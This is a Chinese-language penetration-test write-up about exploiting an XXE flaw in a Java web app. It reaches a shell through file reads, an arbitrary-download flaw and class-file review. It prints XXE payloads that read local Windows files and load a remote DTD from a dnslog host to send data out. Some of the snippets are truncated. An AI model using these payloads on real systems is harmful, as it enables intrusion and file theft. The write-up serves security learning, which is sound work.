Java实战篇-XXE漏洞利用从潜到深

admin 2024年3月9日22:25:07评论25 views字数 1490阅读4分58秒阅读模式

目标

经典渗透场景 - 登录框(授权合法渗透)

Java实战篇-XXE漏洞利用从潜到深

初步挖掘

发现某JSP路径返回包泄露了代码信息,且疑似存在XXE漏洞

Java实战篇-XXE漏洞利用从潜到深

通过泄露的代码构造出post请求包

Java实战篇-XXE漏洞利用从潜到深

测试,漏洞存在

Java实战篇-XXE漏洞利用从潜到深

Poc:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [

<!ENTITY % file SYSTEM "file:///C:Windowswin.ini">

<!ENTITY % dtd SYSTEM "http://xxe.xxx.dnslog.cn/xxe">

%dtd;

%send;

]>

<root>

<name>&b;</name>

</root>

插曲 - XXE复习

参考文章:

https://forum.butian.net/share/2573

https://www.heetian.com/info/565

XXE漏洞指的是XML外部实体注入XML External Entity Injection)漏洞,它是一种常见的安全漏洞类型,可以用来攻击基于XML的应用程序。当应用程序接受XML输入时,攻击者可以插入带有外部实体引用的恶意XML数据,从而导致应用程序执行未经授权的操作,比如访问本地文件系统、执行远程代码等。攻击者可以通过利用XXE漏洞来获取敏感信息、控制服务器,或者执行其他恶意操作

读取文件

在进行利用之前应该先测试下,目标环境有无回显,是否支持外部实体

检查是否支持外部实体

<?xml version="1.0" encoding="UTF-8"?>

%foo;

]>

查看你的服务器是否有请求

不同平台支持的协议

注意:jdk1.8开始不再支持gopher协议

Java实战篇-XXE漏洞利用从潜到深

Java环境下读取文件

1、netdoc协议和file协议的作用是一样的,都可以读取文件

2、Java环境下可以使用file协议读取列目录,和ls作用类似

3、在Java环境中,我们可以使用CDATA来读取包含特殊字符的文本数据,避免XML解析器对其进行解析。但是也只能读取一些简单的文本文件,如果文本中含有&或%还是无法进行读取。

如下:

Java实战篇-XXE漏洞利用从潜到深

Java实战篇-XXE漏洞利用从潜到深

深入挖掘

至此,脑中已有大体思路,那就是利用XXE外带或者回显读文件来进一步扩大攻击面;由于Java下用file和CDATA也无法读取内容含&、%、中文等文件,所以不能读jsp,class等文件,可以选择读向日葵,web.xml等文件来尝试getshell。

报错找绝对路径

Java实战篇-XXE漏洞利用从潜到深

<?xml version="1.0"?>

<!DOCTYPE foo [

    <!ELEMENT foo ANY>

    <!ENTITY xxe SYSTEM "file">

]>

<service>

    <serviceID>&xxe;</serviceID>

    <parameters>

        <parameter index="" type=""></parameter>

    </parameters>

</service>

列目录、读文件

利用本地DTD进行文件读取时发现权限不够,被拒绝访问了

Java实战篇-XXE漏洞利用从潜到深

小问题,这可难不倒我胡图图,寻找同指纹站点,找个权限高的,便可解决问题

Java实战篇-XXE漏洞利用从潜到深

更换站点后,顺利读取目标web目录

Java实战篇-XXE漏洞利用从潜到深

通过读web.xml+黑盒测试,发现任意下载漏洞

web.xml中存在未授权的文件操作接口

Java实战篇-XXE漏洞利用从潜到深

黑盒,存在任意文件下载漏洞

Java实战篇-XXE漏洞利用从潜到深

有了任意下载,接下来的渗透之路譬如探朗取物般简单,通过任意下载,将class文件下载到本地进行阅读

Java实战篇-XXE漏洞利用从潜到深

成功getshell

Java实战篇-XXE漏洞利用从潜到深

最终完成曲折的日站之旅

总结

平常看了些许XXE漏洞利用文章,等到自己实际上手时还是很抓瞎

千学不如一看,千看不如一练

本公众号作者联系方式

Java实战篇-XXE漏洞利用从潜到深

原文始发于微信公众号(进击安全):Java实战篇-XXE漏洞利用从潜到深

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月9日22:25:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java实战篇-XXE漏洞利用从潜到深http://cn-sec.com/archives/2562691.html

发表评论

匿名网友 填写信息